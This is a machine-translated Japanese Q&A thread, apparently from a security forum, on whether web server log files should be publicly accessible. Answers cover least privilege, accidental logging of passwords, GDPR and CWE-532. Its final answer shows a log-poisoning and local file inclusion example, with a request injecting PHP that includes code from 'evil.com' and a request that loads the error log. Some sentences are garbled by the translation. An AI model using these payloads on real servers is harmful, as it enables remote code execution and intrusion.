ログファイルは秘密にしておくべきですか？
URLを介してWebサーバーのログファイルにアクセスすることは、簡単にアクセスできるため、一定の魅力があります。しかし、ログファイルへのオープンアクセスを許可することのセキュリティリスクは何ですか？
ここには明らかに2つの異なる防衛線があります。
まず、ログを介した侵害を避けるために、機密性の高いデータ（シークレット、通常はパスワード）をログに記録しないでください。
しかし、攻撃者がシステムについて知っているほど、標的型攻撃を構築/使用するリスクが高くなります。たとえば、ソフトウェアのバージョンは感度が高くなく、ログを合理的にフィードできますが、攻撃ベクトルの選択には役立ちます。
したがって、防御策の2番目の行は、ログへのアクセスを必要としない誰かがログを読み取ることができないようにすることです。これは、最小特権ルールを直接適用したものです。
Dev/maintenanceチームにログアクセスを提供することは一般的ですが、アクセスセキュリティツールに従ってyoはリスク/ゲイン比を評価する必要があります。最も安全なシステムは、どのユーザーもアクセスできないシステムですが、その使用可能性も非常に低いです...
生のログデータへのアクセスは、許可されたユーザーに制限する必要があります。
その単純な理由は、通常の動作条件アプリケーションの下であっても 五月 すべき機密性が高すぎて公開できないデータをログに記録しないでください（正確に何が異なるかについての意見/規制）は、ログに機密データが含まれる時期が来ることはほぼ確実です。
アプリケーションに非常に精通している場合を除き、アプリケーションがエラーまたは例外をスローしたときにログに記録される詳細は事前にわかりません。
ほとんどのアプリケーションは、エンドユーザーに表示されるエラーメッセージの詳細の量を制限するように設計されていますが、管理者や開発者がそれらのエラーや例外の原因をトラブルシューティングするのに役立つように、ログに詳細を記録します。トラブルシューティングのために、通常は抑制される機密情報がログに含まれるようなレベルにログの詳細度を上げる必要がある場合があります。
人々がコメントしたように：POSTではなく、GETメソッドを使用してログイン名と開発者のパスワードを入力する人々と無数の同様の人為的エラーにより、ログイベントの無害なフィールドが「汚染」される可能性があります。機密データ。
認証されたユーザーにWebベースのアクセスを許可し、ACLを集約レポート、サニタイズ/フィルターされたログデータ、および/またはSplunk、Kibanaなどのすべての未加工ログイベントのみに設定できる製品があります。
また、生のログデータへのアクセスを制限する必要がありますが、ログのサニタイズされたサブセットまたはログに基づいて生成するレポートを公開することを決定できます。つまり、生のアクセスではなく、使用状況レポートと訪問者統計を公開します。ログ
より多くの視点があります：
1）ログを非表示にしないことで、インフラストラクチャを公開します。
2）EUにはGDPRがあります。 IP、名前、電子メール、または個人的なものを公開することは禁止されています。 （そして少なくとも不道徳で悪い行動）gdpr-info.eu/art-32-gdpr
ログに記録されたデータをサードパーティまたは簡単にアクセスできる専用ツールを使用して表示する必要がある場合。私のオフィスでは、たとえばグレーログです。ログを簡単に収集して保存し、アクセスを制御できます。
ログファイルに書き込まれる情報の種類から生じる可能性のある脆弱性は、Common Weakness Enumerationデータベースで CWE-532 として列挙されます。
ログファイルに書き込まれる情報は機密性が高く、攻撃者に貴重なガイダンスを提供したり、機密のユーザー情報を公開したりする可能性があります。
上記の@KOLEGAの回答で述べたように、保護された個人を特定できる情報の問題も非常に関連があります。
意図的に機密情報を記録しない場合でも、不注意で記録されることがあります。
たとえば、失敗したログインのユーザー名を記録するとします。ユーザー名フィールドに誤ってパスワードを入力すると、ログに記録されることがあります。
通常は機密性を考慮しない場合でも、ログを保護すべき情報が含まれている可能性があるものとして扱うことをお勧めします。
ログファイルは、通常、デフォルトで安全な場所に配置する必要があります。ログファイルには、IPアドレス、電子メール、法律で保護された情報を含めることができます。したがって、私の推奨事項は常にログファイルを安全な場所に保管することです。一方、場合によっては、これらのログファイルはフォレンジックの目的で使用され、可能であればそれらの変更を保護する必要があります。これはシステムによって多少異なります。
Serge Ballestaが言ったように、機密情報（ユーザー名、パスワードなど）をログファイルに絶対に入れてはなりません。
公にアクセス可能なログファイルを持つことから生じる主なrealセキュリティ上の懸念は、特に公に利用可能なソフトウェア（その固有のシステム用に開発されていない）を使用している場合、システムに関する情報を取得することから生じます。
システムにアクセスしようとしている場合、最初にチェックする可能性があるのはログファイルです。システムが実行しているソフトウェア、さらに重要なことには、そのソフトウェアのどのバージョンが使用されているかを識別できれば、エクスプロイトの検索を大幅に絞り込むことができます。ソフトウェアを最新バージョンに更新していない可能性があります。古いバージョンにはSQLインジェクションを使用できるバグがあり、ログには現在使用中のソフトウェアバージョンを示す行があります。
これは、オープンソースコードを使用する場合とほぼ同じレベルのセキュリティリスクです。攻撃者がエクスプロイトを見つけることがtad簡単になるだけです。思考の糧。
ここでいくつかの良い答え-完全ではありません。
はい。ログファイルには機密データが含まれている可能性があるため、そのデータは、アクセスを許可されているユーザーに明示的に制限する必要があります。残念なことに、私の経験では、この種の制御を実装するほとんどの組織は、承認する必要のある人の数を大幅に誤判断しています。
しかし、もう1つの重要な点は、ユーザーが後でログファイルに表示される多くのデータを制御することです。アプリケーションのシステムアーキテクチャに応じて、これはローカルファイルインクルードの脆弱性を完全な悪用に利用するメカニズムを提供できます。考慮してください：
GET /nonesuch%3C%3Finclude%20'http://evil.com/attack';%3F%3E
GET /vulnerable.php?file=/var/log/httpd/error_log
このmayは、Webサーバーが入力時およびログファイルへの書き込み時にリクエストのエンコーディングを処理する方法によって軽減されます（ただし、完全に水密ですか？）。ウェブサーバーがURLを介してログファイルの場所に直接アクセスできるようにする場合、エスカレーションメカニズムは少し異なります。
（上記の例では、リモートインクルードを呼び出すことが可能である場合、すべてのコードで可能である可能性が高いため、ログファイルにエクスプロイトを永続化することは冗長ですが、これは単に説明のためであり、より複雑です。エクスプロイトを書くことができます）